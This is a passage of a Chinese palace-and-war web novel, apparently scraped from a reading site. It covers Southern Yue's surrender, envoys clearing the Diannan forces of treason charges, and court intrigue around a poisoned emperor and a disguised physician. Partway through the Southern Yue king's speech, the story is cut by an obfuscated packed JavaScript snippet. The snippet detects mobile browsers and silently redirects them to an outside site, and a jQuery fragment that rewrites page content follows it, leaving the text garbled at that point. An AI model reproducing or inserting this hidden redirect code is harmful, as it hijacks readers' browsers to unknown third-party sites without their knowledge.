段兴华说得没错,他们的确已经是**之末。 之所以还有余力拼杀,靠的也不过是一股信念。 真正与南越军死战到底,最后究竟谁胜谁败,还未可知。 就在这时,一阵急促的马蹄声自后方传来,竟有千军万马之势。 叶衔峰被血水糊住的双眼努力睁大,终于看清了那飘扬着的帅旗,赫然写着大大的“齐”字! 南越军见此,顿时吓得四下奔逃,再无一战之心。 叶衔峰却并未放松,心头反而绷得更紧。 难道是周卫海率的大军渡了河? 滇南军千辛万苦与南越军厮杀,眼下正是两败俱伤之时,朝廷的“援军”在此时赶到,若要抢功,或是对滇南军赶尽杀绝,他们根本毫无还手之力。 叶寒衣的心弦也狠狠绷着,即便已经虚脱得连抬手的力气都没了,她也依旧努力握着剑,站得身姿笔直。 他们好不容易才拼出了一条活路,容不得任何人破坏。 若当真有人在这个时候冒出来摘桃子,她手里的剑绝不同意! 马蹄哒哒,慢慢靠近。 叶寒衣终于看清了骑在马背上的那人,不是周卫海,竟是孙牧之! 孙牧之的战马奔到近前,看到眼前残留的战局,尸骸遍野,血流成河…… 他没有停留,率着一众将士朝前追击,南越军本已经历了一场厮杀,此时更是溃不成军,在他们的手底下毫无招架还手之力。 萧晏清驮着南越王奔到近前。 南越王早已吓得七荤八素,声音颤颤巍巍。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897269|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南越国的将士们,放下兵器吧,这场仗,我们输了!” 南越王的出现,让南越士兵们不禁停了下来。 南越王声音拔高,眼中含泪,“大齐皇帝承诺——降者不杀!放下刀剑者,可归乡务农!愿从军者,可领饷银!莫要再为孤这个**之君送命了!你们的父母妻儿……还在等着你们回家啊!” 说罢,他颓然跪地,向齐军方向深深叩首。 南越军中,先是死寂,继而响起此起彼伏的兵器落地声,以及低低啜泣声。 这场仗终于结束了。 南越国主动归降。 从此以后,大齐的版图,将会再添一笔。 孙牧之走到萧晏辞近前,朝他行了一礼。 两个男人都蓬头垢面,满身血污,脏得没法见人。 但此时,二人的气氛有些微妙。 萧晏辞没想到来人会是孙牧之。 想到京中发生的那些变故,萧晏辞有些拿不住,孙牧之究竟是敌是友,滇南军是否能真正安枕无忧? 孙牧之开口,主动交底。 “我本在黔南赈灾,突然收到皇上密信,率军翻越玄武峰,赶赴滇南,彻查滇南府与南越国勾结谋逆之事。若此事为真,则捉拿滇南王回京复命。” 萧晏辞的眸色骤然一沉,看着孙牧之的眼神也冷了三分。 “那孙大人这是打算趁着滇南军人疲马乏之际,来个螳螂捕蝉黄雀在后?” 孙牧之亦迎视对方,眸光坚毅,“我之所见,是滇南军为捍国土,栉风沐雨,不畏生死,与南越军厮杀;是滇南将士死伤无数,尸横遍野;是瑾王殿下智谋无双,以身涉险,招降南越王,让大齐版图得以扩张。” “我会将自己所见所闻,原原本本地上禀皇上。皇上明察秋毫,洞若观火,必能明辨忠佞。” 萧晏辞定定看着孙牧之,见他神色坚毅不似作伪,心头的戒备这才放下,面上神色也和缓了。 “滇南府遭遇奸人陷害,处境堪忧,本王这才多了几分戒备,对你生了误解,见谅。” 孙牧之摇头,“殿下言重了。滇南府此番处境,殿下便是再小心也不为过。” 第438章 取信周卫海 彼此交了底,他们便也没太多时间闲话。 处理战后诸事,方为当务之急。 此战双方皆伤亡惨重,他们立马安排士兵搭建伤兵营,就地救治伤兵。 南越国虽已归降,但也难保不会有人依旧心怀异心,伺机报复,所以治安防护也要做好。 诸事繁杂,都容不得放松。 叶衔峰伤得不轻,直到从萧晏辞口中得到答案,确保孙牧之是友非敌,他才肯放下手中的大刀,乖乖配合军医的诊治。 在战场上不要命地拼杀,受了伤也半声不吭的男人,在军医清理包扎伤口的时候却是发出了杀猪般的叫声,半点将军的威严都没有。 叶寒衣也受了伤,好在伤得不算重,只是皮外伤,她主要是力竭了,好好休息便可恢复。 滇南王收到了胜利的好消息,这段时日以来一直紧皱的眉头终于彻底舒展开来,滇南府的百姓们也高兴得欢欣鼓舞。 此时,下了一天一夜的大雨也终于停了,灰蒙蒙的天慢慢变得明亮,天空中久违地挂上了太阳。 阳光洒在众人带笑的脸上,越发灿烂。 滇南王正在书房中写奏折,向皇上禀明此事,并再次陈词表忠。 奏折尚未写完,就有士兵匆忙来禀。 澜沧江渡口的桥搭好了,周卫海欲率大军渡江。 滇南王的心里咯噔了一下。 自己一心都系在南越的战局上,竟把此事忘了! 刚解决了一个孙牧之,又来了个周卫海。 此人也是个大难题,必须要好好处理,不然,他们做了再多的努力,也抵不上皇上近臣的一句挑拨。 滇南王立马搁下笔,匆匆赶去。 萧晏辞也收到了消息,他当即唤来了孙牧之,告知了此事。 “你随本王一道去见见周卫海。” 周卫海是奉了皇命而来,他不知滇南府与南越的这一场大战,若他不管不顾地出兵拿人,只怕事情会难以收场。 萧晏辞出面,周卫海未必会信。 孙牧之有德丰帝密信,他的话自然更加可信。 二人匆匆赶往澜沧江渡口,但还是来晚了。 双方已经打了起来,滇南王更是与周卫海交了手。 萧晏辞厉喝,“住手!” 但双方混战,一时根本无人理会。 萧晏辞再次高喊,“周将军,事情有误会,滇南府并无谋逆之心!” 周卫海冷笑,“若滇南府无谋逆之心,为何一再暗中阻挠桥梁搭建?方才我军渡河之际,滇南军还妄图阻挠,险害我手下将士坠河,如此反常之举,又当如何解释?” 萧晏辞道,“南越国已经被滇南军攻下,臣服于大齐管辖,如此,难道还不能表明南越的一片忠心吗?” 这话方才滇南王便说过了,但周卫海根本不信,“瑾王殿下,你是滇南王的亲外孙,谁能保证你说的话是真是假?” “那本官的话呢?” 孙牧之站了出来,“本官是奉了皇上之命,自黔地出发,绕道进入滇南境内,调查滇南府谋逆之事。” “本官刚好亲历了方才那场大战,滇南军与南越军殊死搏斗,瑾王殿下更是率军翻越白虎岭,突袭南越后方,生擒了南越王,如此方艰难取胜。” “至此,南越国将纳入大齐的版图,这一切都是滇南府的功劳。滇南府上下赤心报国,天地可鉴,岂有贰志?” 孙牧之的出现让周卫海震惊,原本的全然不信,也变成了将信将疑。 萧晏辞下令,“去把南越王带上来。” 手下立马动身前去。 周卫海又提出了自己的疑问,“孙大人,你此前不是在江南赈灾吗?怎会跑去了黔地?” 若他在江南赈灾,那他方才的话就有漏洞了。 孙牧之解释,“本官起先的确是在江南赈灾,江南灾情控制之后,黔地又爆发洪灾,本官被调派前往黔地,协助赈灾。” “周大人有疑虑是情理之中,本官不是信口开河,本官有皇上的密信,周大人请看。” 他自怀中取出那封贴身放着的密信。 他用油纸仔细包着,身上打湿了,那封密信也保存完好,没有损毁半分。 周卫海将信将疑地接过,看到上面的印信,面色才变得郑重。 孙牧之又道:“本官的确是受了皇命而来,这一点周大人无需质疑。而本官方才所言,周大人若心存质疑,也可以亲自去看,耳听为虚眼见为实。” “那先前滇南军为何刻意阻挠桥梁搭建?” 滇南王主动站出来解释,“本王自军中抓到几个奸细,他们供述自己曾受人指使刺杀朝廷官员,又故意放了活口回京,意在污蔑滇南府谋反。” “本王不知京中局势,唯恐皇上听信谗言误会了滇南府,是以见到周大人率军前来,本王以小人之心度之,这才派人阻挠桥梁修复。” “本王意不在与朝廷军正面对抗,只想等到滇南府能拿出铁证证明自己并无谋逆之心,再与周大人推心置腹地详谈,化干戈为玉帛。” “而今,我滇南府拼尽全力,大败南越国,终于能堂堂正正地向朝廷证明自己的赤诚之心,本王方才也是想与周大人认真解释此事,谁料本王的手下太过鲁莽,让一切弄巧成拙,这才引发了误会,还请周大人见谅。” 滇南王隐去了谷栖山报信之事,避免了不必要的麻烦。 周卫海的眸光微闪。 滇南王的这番担忧,的确并非小人之心。 原本他就是奔着拿下滇南府而来。 皇上对滇南府生了忌惮,派自己前来便是要趁此机会铲除祸患,根本不用管对方是否忠心。 若桥梁早早修好了,他的大军进了滇南府境内,双方必然兵戎相见。 便是方才,周卫海也做好了要将滇南府灭了的准备。 但孙牧之的出现,让他生了迟疑。 或者说,是那封密信让他迟疑。 密信中称,若滇南府有谋逆之举,便将滇南王捉拿归京,而非就地处决。 后头的话更加要紧:倘系奸人构陷,亦当还其清白,以彰朝廷至公之道。 这让周卫海揣摩出了德丰帝态度的转变。 自己若是再不管不顾地对滇南府出兵,被秋后算账的只怕是他自己。 他尚在琢磨此事,南越王被带了来。 有他亲口作证,周卫海心中最后一丝疑虑也没了。 第439章 瑾王妃逃了 周卫海很快做出了选择,立马朝萧晏辞跪下请罪。 “微臣方才误会了,多有冒犯,还请瑾王和滇南王见谅。” 周卫海这番表态,他的手下也都放下武器,齐齐跪下。 萧晏辞和滇南王都松口气。 此时的滇南府已经禁不起另一场大战,能与周卫海握手言和是最优解。 周卫海率军前往南越国,亲眼看到了战场,他不禁暗暗惊心,凭借他们的兵力,能攻下南越国,其勇猛超乎想象,瑾王的智谋也令人佩服。 当初,滇南府谋逆的消息传出,他本以为瑾王已经彻底失去了竞选太子的资格,没成想,滇南府竟能把这盘死棋盘活。 此刻,周卫海有了选择。 而他的军中,同样不乏探子。 这一切都落入了有心人的眼中,被飞快传回了京中。 叶淮序只受了些皮外伤,他和王府长史段思明一起负责战后诸事。 叶淮序派了精锐接管南越国四门,严禁任何人进出,以防敌军残部或探子混出。 而后搜捕溃兵、武装抵抗者,收缴民间兵器、铠甲等。 粮仓、武库、府衙等要地也要派重兵把守。 段思明则负责清点伤亡,将伤兵暂时安置在临时医营,阵亡者、失踪者,都要一一登记。 此番事项十分繁杂,至少需六七日方能料理清楚。 临时医营刚刚搭建起来,各处都乱糟糟的,血腥味、汗臭味,各种味道混在一起,耳边更是一阵此起彼伏的哀嚎呻吟。 战争从来都是残酷的,哪怕他们取得了胜利,在那背后,同样有不知多少人付出了生命的代价。 某个角落里,一人面色惨白地躺着,他的身上包扎了好几处,也疼得厉害,但他却一声不吭。 这人不是旁人,正是楚翊安。 他全家被贬到滇南府,刚来时,因为水土不服,所有人都病倒了,母亲姜氏还险些丧命。 好不容易安定下来,滇南府又遭遇了洪涝。 他们刚刚拾掇出来的新家被埋了,若非跑得快,他们也要被那黄土掩埋。 紧接着,楚定峰和姜氏又接连染上疫病,原本就糟糕的身子更差了。 直到蒋南笙出现,开了个新方子,二人这才好转。 楚翊安比他们身体强壮,但也吃了不少苦头。 这样的日子,让他心中满是不甘。 他不想一直像一滩烂泥一样,只能卑微地落在地上,任人踩踏。 所以,他身体好些了之后,就报名入了军队。 在这一场激战中,他拼杀得分外卖力,还救下了招他入伍的百夫长。 若那百夫长厚道,自己应当能得到一点微末的功劳与赏赐。 这点功劳不足以让他翻身,离开这里,但至少,能让他们的日子过得稍微好一些。 楚翊安躺在床上,平静地想,生活总要继续。 只要日子一天天变好,那就够了。 此时,京中。 在大多数官员看来,朝中的大局已定。 太子之位落定,大齐朝后继有人,一切无可争议。 太子虽然年轻,此前在朝堂上所经的历练也不算多,但行事还算沉稳,待人接物谦逊有礼,前头赈灾之事也办得十分妥当,赵家的名声更是不错。 总体而言,他算是个潜力不错的储君。 德丰帝身体抱恙,太子开始代理朝政,遇到自己处理不了之事,太子亦不耻下问,给足了老臣们脸面,一时他在朝中获得赞誉无数。 看着这大好的局面,萧晏临觉得一切都回归了正轨,他的心情也慢慢好转。 原本打算自己登上太子之位后就让父皇寿终正寝,但如今他却改了主意。 父皇现在驾崩,时间太匆忙了,难免落人口实,不妨让他再多活些时日。 反正他已经中了牵丝蛊,一切只能任由自己摆布。 萧晏临腾出了空,也终于想起了另外一人,瑾王妃。 她是一个重要的人质,万不能出半点差池。 然而,他派人去瑾王府查看的时候才发现,瑾王妃不知何时已经不见了。 萧晏临大怒,“禁卫军是怎么看人的?怎能让人跑了?给孤查!定要把人抓回来!” 萧晏临为此大动肝火,幕僚进言,“太子,此事未必是坏事。您想想,禁足瑾王妃的命令是皇上下的,她如今跑了,岂不是违背皇命?而且,她这一跑,更加坐实了瑾王谋逆之举,咱们可以利用此事好好地做一做文章。” 萧晏临的怒火被安抚,脸上露出一抹阴冷的笑来。 “你说得对,立马安排人,把瑾王妃出逃之事传扬出去,再让人把瑾王谋逆之罪在百姓中传开,定要让百姓们对他们口诛笔伐。” 此前,太仓商行屡屡施恩于百姓,瑾王妃的名声极好,连带着,萧晏辞的名声也水涨船高,在民间簇拥者甚多。 这对他这个太子显然大大的不利。 水能载舟亦能覆舟,寻常百姓的力量看似渺小,但在关键时候,也能发挥至关重要的作用,不可忽视。 很快,瑾王妃出逃的消息就传来了。 瑾王妃抗旨出逃,定是逃往滇南府,与瑾王的逆军汇合。 在萧晏临的安排下,朝臣纷纷提议,将柔贵妃打入冷宫,朝堂上,德丰帝表现得有些迟疑呆滞,什么都没说,点头允了。 柔贵妃从琼华殿被打入了冷宫,待遇也一落千丈,再不似从前。 萧晏临下令全力追查,捉拿瑾王妃,同时,其名下的商行也都被查,洛家亦受到了牵连。 他本打算趁火打劫,将这些商行的财产尽数收归己有,但没曾想此事遭遇了一个意想不到的阻碍。 锦绣坊的众女工齐齐出面,游街示众,为瑾王妃和太仓商行、洛家商行叫屈。 “此次各地发生洪涝灾害,太仓商行和洛家商行不吝钱财,慷慨解囊,捐粮捐物,助大齐百姓度过了难关。我等不知道所谓谋不谋逆,我们只知道,瑾王妃和洛家乃大义之举!” “赵家捐款修筑堤坝,便能得皇上嘉奖,受百姓感恩戴德,为何太仓商行和洛家商行做了好事,功劳却要被抹灭?” “瑾王和瑾王妃就算有罪,也应当将人带回来,再行论处,而非像现在这般,不分青红皂白就发落商行众人,此为不公。” “对,不公,我等势要为瑾王和瑾王妃讨个公道。” 第440章 善有善报 萧晏临得知此事,白净的面皮再次扭曲变形,眼底亦笼上一抹深深的阴鸷。 他没想到,瑾王妃竟如此得民心! 这便是他最不愿看到的结果。 他即便已经贵为太子,依旧不能违背民意,不然,他这个新上任的太子只怕也坐不稳。 迫于无奈,萧晏临只能亲自出面,先是安抚了一番百姓,然后对众人承诺,不会对太仓商行和洛家商行下手,是功是过,是误会还是事实,只等将瑾王和瑾王妃请回来之后,由皇上定夺。 此事落下帷幕。 太仓商行和洛家商行的人齐齐松了口气。 往日积德行善之举,今日终于有了回报。 上天不会辜负任何一个善举。 洛家人对萧晏辞和陆知苒自是十分担忧,这段时日以来他们的心一直都提着。 但他们除了空担心,别无他法。 如今,他们自己也险险躲过一劫,纵然对陆知苒有再多担心,也只能收敛心神,什么都不能做。 他们不知陆知苒的计划,只安安分分,保护好自己,不添乱便是在帮忙了。 有了前车之鉴,萧晏临派人将冷宫牢牢把守着,并让母妃日日派人前去查看,绝不可再让柔贵妃出逃。 萧晏辞一日不死,萧晏临就一日不能安枕。 柔贵妃是他们手中最重要的一个人质,绝不能有半点闪失。 赵昭仪来看她时,本以为自己能看到一个苍白憔悴,满脸绝望之弃妇,没想到,看到的却是装扮得体,一脸泰然处之的人。 在琼华殿的那段时日,柔贵妃已经把身体养好了。 此时,即便被打入冷宫,她的状态看上去也还不错。 没了那些华贵衣服和发饰,她穿着朴素的旧衣,整个人通身的气质也无法遮掩,一身华服的赵昭仪险些被压了一头。 赵昭仪只是渔家女出身,即便生得再好看,仪态气度上,也远不及柔贵妃。 她的心底一直藏着一股隐隐的自卑。 本以为柔贵妃被打入冷宫,自己能压对方一头,没曾想…… 赵昭仪心中升起羞恼,面上神色也更冷了三分。 “妹妹,这冷宫住得可还习惯?” 柔贵妃淡然一笑,“赵昭仪,你虽比我年长,但按照位分,你可没资格唤我妹妹。” 赵昭仪的脸色一变,面容瞬间扭曲。 柔贵妃虽被打入冷宫,但许是皇上病糊涂了,没有提及降位分之事。 赵昭仪在柔贵妃面前,的确是只有行礼问安的份儿。 柔贵妃还暗讽她年纪大,这更让赵昭仪心中恼怒。 但她不想被柔贵妃看笑话,硬生生地压下了那口气,出口便是戳心窝子的话。 “你还不知道吧,你那好儿媳出逃了,眼下被下令通缉,她此举可谓是不打自招,更加坐实了瑾王的谋逆之心,朝廷很快就会派出下一批人马,清剿乱党,到时候,滇南府就要易主了。” 柔贵妃袖中的拳头暗暗握紧几分,但面上她却半点都不显露,反而云淡风轻地道:“还没办成的事,也值得你到处炫耀?可别像上次那样,偷鸡不成蚀把米。” 赵昭仪被戳了痛处,脸色再次变了,“你……你等着瞧,等到你娘家被灭,儿子伏法之时,我看你是否还能像现在这般嘴硬!” 说完,她怒气冲冲地转身,甩袖而去。 冷宫重新恢复安静。 柔贵妃立在原地,双手紧握成拳,眼底一片幽沉。 赵昭仪最后那话,终究还是刺到了她的痛处。 她在对方面前能强作镇定,但心中的担忧却无时无刻不折磨着她。 锦瑟担忧地扶着她,“娘娘,您放宽心,滇南府易守难攻,七殿下和王爷也都骁勇善战,朝廷就算当真派了兵,也定无可奈何。” 柔贵妃没有说话。 滇南府便是地理优势再好,但刚刚经历洪灾,伤亡惨重,又有南越国虎视眈眈,朝廷军再发难,滇南府如何应对? 柔贵妃深吸了一口气,让自己镇定下来。 “你说得没错,滇南府定会无事的。” 赵昭仪在柔贵妃这里吃了瘪,心中那口怨气难以消除,便命内务府克扣冷宫的饭食。 只要饿不死就行,想要享受以往的待遇,做梦。 柔贵妃在后宫遭受苛待,德丰帝的状态也岌岌可危。 这段时日,他隔三差五罢朝,即便上朝,他的状态也肉眼可见地糟糕。 双目凹陷,面容消瘦,整个人的眼神是涣散的,反应也慢了半拍。 那副模样,俨然就是一个老态龙钟的老人,半点帝王的气势都没了。 众朝臣都预感到,德丰帝的日子不多了。 太医院的太医们都束手无策,便有朝臣提议,请林芳医女给德丰帝看看。 萧晏临也想让赵书宁亲自看看,父皇体内的蛊虫是否有异,继续这样下去,父皇还能活多久,是否会横生其他的枝节。 他一副满心悲痛的模样,最终抱着死马当活马医的念头,派人去请赵书宁。 萧宝珠最近每天都会入宫,守在德丰帝的床前,不厌其烦地陪他说话,试图唤醒他的神志。 但德丰帝的脑子似乎真的糊涂了,不论她怎么耐心地与他说话,他的反应都慢半拍,眼神也都是空洞的。 有的时候,他甚至不认识自己。 萧宝珠很难过,不知背地里哭了多少次。 四公主萧婉贞也偶尔入宫侍疾。 自从母妃和皇弟死后,萧婉贞就沉寂了,她不再管俗事,只关起门过自己的日子。 若非德丰帝病重,她也轻易不会出门。 萧宝珠日日都去,她毫无表现,唯恐落人口实。 她也要为自己的未来筹谋。 新帝登基,她不求荣华富贵,只盼着不要被清算,便是万幸。 今日,两位公主都入了宫。 最近发生了太多变故,二人都有些沉默。 到了德丰帝的养心殿外,两人却被拦在了外面。 “两位公主请稍候,林医女在给皇上诊治,不能被打断。” 萧婉贞不问世事,还有些没反应过来林医女是谁。 萧宝珠的心已经一下提了起来。 她激动地道:“怎么能随随便便让来路不明的人给父皇诊治?若是父皇出了什么意外,你们担得起吗?” 第441章 隔墙有耳 萧宝珠说完就要往里闯。 但那内侍再次伸手阻拦。 “九公主,这是太子的意思,我等也只是奉命行事,还请您莫要为难奴才。” 萧宝珠闻言,心中更急切几分。 那劳什子女神医,果然与太子是一伙的,他们岂会安好心? 要是父皇被他们害死了怎么办? 萧宝珠不管不顾地往里冲,那内侍欲阻拦,又不敢太蛮横,怕冲撞了公主。 双方正拉扯着,殿内有人走了出来。 是萧晏临。 他只比萧宝珠大几天,但却高了一个头。 原本年轻稚嫩的面容,在太子蟒袍的衬托下也显出成熟稳重来,那双眸子更带上了以往所没有的深邃与幽沉。 他看向萧宝珠,一股威严扑面而来。 “宝珠,你这是在闹什么?扰了父皇的休养,你担待得起吗?” 萧宝珠迎视他,气势半点不落。 “我就是担心父皇的安危才会闹,那姓林的医女神神秘秘,谁知道她是什么来历?怎能随随便便让她给父皇诊治?” 萧晏临语气严肃,不容置疑,“英雄不问出处,林医女此前便医好了父皇的病,而今请她来,也是因为太医院的其他太医都束手无策了,不得已而为之。你如此反对,莫不是想眼睁睁地看着父皇出事?还是说,你有良医推荐?” “我……” 萧宝珠被噎住,答不上来。 这时,殿内传来德丰帝的声音,“何事在外面吵闹?” 这声音听上去,俨然恢复了清醒。 萧宝珠顾不得其他,立马拨开萧晏临便往里奔去,萧晏临和一直没说话的萧婉贞紧随其后。 此时的德丰帝,精神明显好了许多,眼神也清明了。 萧宝珠见此,眼泪刷地一下就滚落了下来。 她扑到龙床前,“父皇,您好些了吗?” 德丰帝看着她,眼神温和慈祥,“朕好多了。宝珠,你怎瘦了这么多?” 萧宝珠吸了吸鼻子,“父皇一直病着,儿臣担忧您,吃不下,睡不着,只盼着父皇能好起来。” 德丰帝闻言,眸中愈发动容。 “傻孩子,父皇会好起来的,你也要保重自己的身体,父皇还是喜欢你胖胖的样子。” 萧宝珠破涕为笑,“以前那样太胖了,丑死了。” “不丑,朕的宝珠怎样都不丑。” 父女二人亲亲热热,互诉衷肠,萧晏临和萧婉贞都识趣地没有贸然插话。 因为他们知道,这样的温情不属于他们。 待他们说完了,二人这才上前向德丰帝请安,表达关怀。 德丰帝同样笑着,但语气明显不似对萧宝珠那般亲昵。 “朕这段时间,总感觉自己脑子昏昏沉沉的,像是被什么糊住了似的,直至方才,才终于有了豁然开朗的感觉,整个人也松快了。” 萧晏临眸光微动。 赵书宁莫不是真把父皇治好了? 这个念头在脑中升起,面上并不表露出来。 他适时替赵书宁请功,“方才是林医女替父皇施了针。” 众人目光下意识在殿内搜寻,却不见赵书宁的身影。 殿内一内侍道:“林医女去太医院配药去了。” 德丰帝面露赞誉,“林医女当真医术了得,朕定要重重赏赐。” 萧晏临替赵书宁谢恩。 萧宝珠听了这番话,心中依旧没有放下戒备。 父皇眼下是好了,但谁知道是否当真能彻底好起来? 只可惜她不通医理,也没法为父皇诊治。 萧婉贞向德丰帝请了安,便先行告退了。 萧宝珠却不肯走。 今日父皇精神不错,人也清醒,是难得的好机会。 她每次进宫都把账册带在身上,这次俨然是个好机会,她不想错过。 萧宝珠以往也时常守在德丰帝跟前,今日她要留下来陪德丰帝用膳,也并无不妥。 萧晏临是太子,又代理朝政,事务繁忙,自然没时间一直守着,他便也先行告退了。 萧宝珠见他走了,暗暗松了口气。 “父皇,您这段时日一直昏昏沉沉,有时候连儿臣都不认识了,浑似变了个人似的,儿臣简直吓坏了。” 德丰帝轻拍了拍她的手,“好孩子,父皇没事了。” 萧宝珠双眸含泪,“父皇,您能好起来就太好了,儿臣有一件要事要与您说……” 她刚开了个口,一旁伺候的冯有才就不小心摔碎了一个杯盏,发出清脆的哐当声。 冯有才连忙请罪,“奴才一时失手,请皇上恕罪。” 德丰帝眉头微蹙,不轻不重地训斥,“你这老东西,越来越不中用了,还不让人进来收拾了。” 冯有才连忙高声喊人,很快殿外就有宫女和太监鱼贯入内,动作麻利地把茶盏碎片收拾了。 德丰帝问,“宝珠方才想说些什么?” 萧宝珠微微愣怔,原本迟钝的脑子,在这一刻似清明了许多。 冯有才做事素来稳妥,方才的“失手”当真是失手吗? 这会不会,是一种提醒。 只怕,隔墙有耳。 萧宝珠迅速把原本要说出口的话咽了回去,转而换上了一副委屈的表情。 “父皇,您能不能不要再给孙牧之安排差事了?成亲到现在,儿臣都快忘了他长什么样了。” 德丰帝听了这话,不禁一阵失笑。 “就为了这件事?” 萧宝珠一脸委屈,“这难道还不算大事吗?他就算好用,也不能光逮着他一个人可劲用啊,把他累坏了怎么办?” “好好好,这桩差事过后,朕就让他好好歇一歇。” 萧宝珠得了这话,这才破涕为笑。 之后,父女二人又继续闲话其他,没人提起朝堂之事,萧宝珠更没有开口替萧晏辞求情。 她把不准父皇对这件事的态度,贸然求情,只怕反倒适得其反。 而且,她也担心隔墙有耳。 没说多久,德丰帝就露出了疲态,萧宝珠便让他歇下,自己告退了。 临走前,她对冯有才道:“公公,父皇身边离不得你,这段时日就劳你多费心了。” 她看着冯有才,眼神殷切,又似别有意味。 冯有才飞快与她眼神碰撞,又低垂下脑袋,“照顾皇上本是奴才的分内之事,公主请放心,奴才定寸步不离地守着皇上,绝不让皇上有半点差池闪失。” 这话让萧宝珠的心安定了几分。 她到底是女儿,不方便时时刻刻守着。 如今她能托付的只有冯有才,只希望自己没有信错了人。 第442章 怀疑林芳的身份 出了养心殿,萧宝珠摸着自己怀里的东西,依旧满腹担忧。 父皇身边,究竟藏了多少双眼睛?她这份东西,到底什么时候才能示人? 而此时,萧婉贞正往宫外走。 德丰帝病重,她虽也担忧,但远没有萧宝珠那般真切。 时过境迁,她与德丰帝的父女情早就变了。 当初,父皇能毫不留情地赐死母妃,赐死五皇弟,可见父皇的心有多狠。 本以为会是萧晏辞当上太子,没想到,竟是那闷不吭声的老八。 他可当真是运气好。 对于这个结果,萧婉贞乐见其成。 任何人坐上皇位都行,只要不是萧晏辞! 萧晏辞当了皇上,自己可能会被清算。 而自己与老八无冤无仇,他也没必要为难自己这个姐姐。 萧婉贞一路胡思乱想,忽的,余光一瞥,看到了一道熟悉的身影。 那人一闪而过,从前方的回廊拐角处消失了。 萧婉贞却像是被击中了心神,整个人都激动起来。 她顾不得多想,抬步就朝那边追了过去。 身边的宫人都一头雾水,也赶忙跟上。 此时的萧婉贞毫无公主仪态,跑得飞快。 终于跑过回廊拐角,再次看到了那道身影,她高声大喝,“赵书宁!” 前方那人脚步微微顿住,眼底飞快闪过一抹暗芒。 方才她得知萧婉贞在,便故意趁人不注意避了出来。 没想到,在这里竟然还是被她撞见了。 既然躲不过,那就坦然面对。 她现在是林芳,可不是什么赵书宁。 萧婉贞疾奔到了她的近前,目光如毒蛇般阴鸷,狠狠剜着她。 “赵书宁,你竟然没死?” 赵书宁一脸疑惑地看着她,开口的声音沙哑难听,“四公主,民女名唤林芳,并非您口中的赵书宁。” 萧婉贞听到这粗哑的声音,只觉得难听至极,眉头瞬间蹙得紧紧的。 她依旧上下打量着眼前人,她的身形仪态,实在太像赵书宁了。 旁人或许忘了这个人,但她永远不会忘! 萧婉贞对她恨之入骨!便是在梦里,她也恨不得对赵书宁大卸八块,所以方才第一眼,她就认了出来。 哪怕明知赵书宁已经被处斩,她还是冲了过来,想要求证些什么。 “你为何戴着面纱?给本公主把面纱取下来!” 她的态度咄咄逼人,眼神更如刀一般。 赵书宁面露为难,“民女的容貌尽毁,恐会污了公主的眼。” 萧婉贞冷笑,“你是怕污了我的眼,还是怕我认出你来?把面纱取下来,不然本公主就要亲自动手了!” 赵书宁露出几分屈辱之态。 萧婉贞失了耐心,立马上前就要亲自动手。 这时,一道威严的声音传来。 “皇姐这是在做什么?” 听到萧晏临的声音,萧婉贞动作顿住。 萧晏临满面不悦地看着她,“林医女为父皇诊治,是大功臣,孤尚要对她礼让三分,皇姐这般无礼,可有半点皇家公主的风范?” 萧婉贞被训得面色难看,十分挂不住。 赵书宁低声道:“四公主口口声声称民女是赵书宁,民女实在百口莫辩。” 萧晏临的眼神一沉,“皇姐,你莫不是失心疯了?那赵书宁早已被当众问斩,岂会有活命的可能?” “可她分明与赵书宁十分相像……” “世间容貌相像者大有人在。” 萧婉贞依旧不依不饶,“那她为何不敢把面纱取下来?” 赵书宁幽幽道:“民女容貌丑陋,心中自卑,难以面对,这才不愿以真容示人。既公主执意要看,那民女便取下来,让公主看便是。” 她抬手,缓缓取下了脸上的面纱。 萧婉贞目光一错不错地落在她的脸上。 待看清她的容貌,萧婉贞不禁惊叫着后退数步。 那张脸疤痕遍布,没有一块好肉,宛若恶鬼一般。 赵书宁仰着头,迎视着萧婉贞,“公主你看好了,这便是民女的真容。这些疤痕,是十几年前意外留下的,您若不信,大可请太医亲自来检查,民女与那赵书宁没有半点相干!” 她的脸实在太骇人,萧婉贞哪里敢细看? 萧晏临呵斥一声,“够了,皇姐,林医女是本王在闽南寻到的女医,你口口声声污蔑她是赵书宁,这是置孤于何地?” 萧婉贞被萧晏临的威严所慑,一时说不出话来。 “此事到此为止,若皇姐再胡言乱语,坏人名声,孤第一个不轻饶。” 萧婉贞被训得讷讷不敢言。 她失了面子,也待不下去,匆忙走了。 萧晏临看着她的背影,眼底闪过一抹杀意。 赵书宁已经重新把面纱戴上,萧晏临淡淡瞥她一眼,“怎么这么不小心?” 赵书宁低声请罪。 萧晏临并未真的动怒。 眼下大局基本已定,赵书宁就算被认出来,他也不怕,只是,若当真如此,到底有些麻烦。 他很讨厌麻烦,也不想给自己留隐患。 对萧婉贞这个皇姐,他原本不打算赶尽杀绝。 但如今,他倒是要好好重新考虑此事了。 他又低声问,“父皇的病情如何?方才孤瞧着精神头像是好了不少。” 他的言外之意是,赵书宁是不是真的把德丰帝治好了? 赵书宁立马道:“太子放心,一切都尽在掌握中。” 德丰帝的脉象很乱,蛊毒也已经深入骨髓,他的清醒只是暂时的。 萧晏临闻言,面上神色这才放松下来。 “母妃身子抱恙,你去给她瞧瞧吧。” 母妃对赵书宁这个侄女一直十分记挂,时常念叨想见她。 眼下时机成熟了,萧晏临并不吝于让她们见一面。 “莫要让她看到你的脸,惹她伤怀。” 赵书宁应了一声,行礼告退。 这一场闹剧很快结束,他们也各自离开,无人注意到,远处的假山后,有一人正暗暗偷窥,将此事从头到尾看了个全。 萧宝珠做贼似的,飞快整理了一番衣裙,调整了一番面上神色,然后恍若无事地离开了。 实际上,她的一颗心砰砰狂跳,久久难以平复。 这是她第一次见到“林芳”。 她看着对方的身形体态,的确与赵书宁一模一样。 尤其,她的脸和嗓子都毁了,这就更可疑了。 越是想努力遮掩什么,就越是让人怀疑。 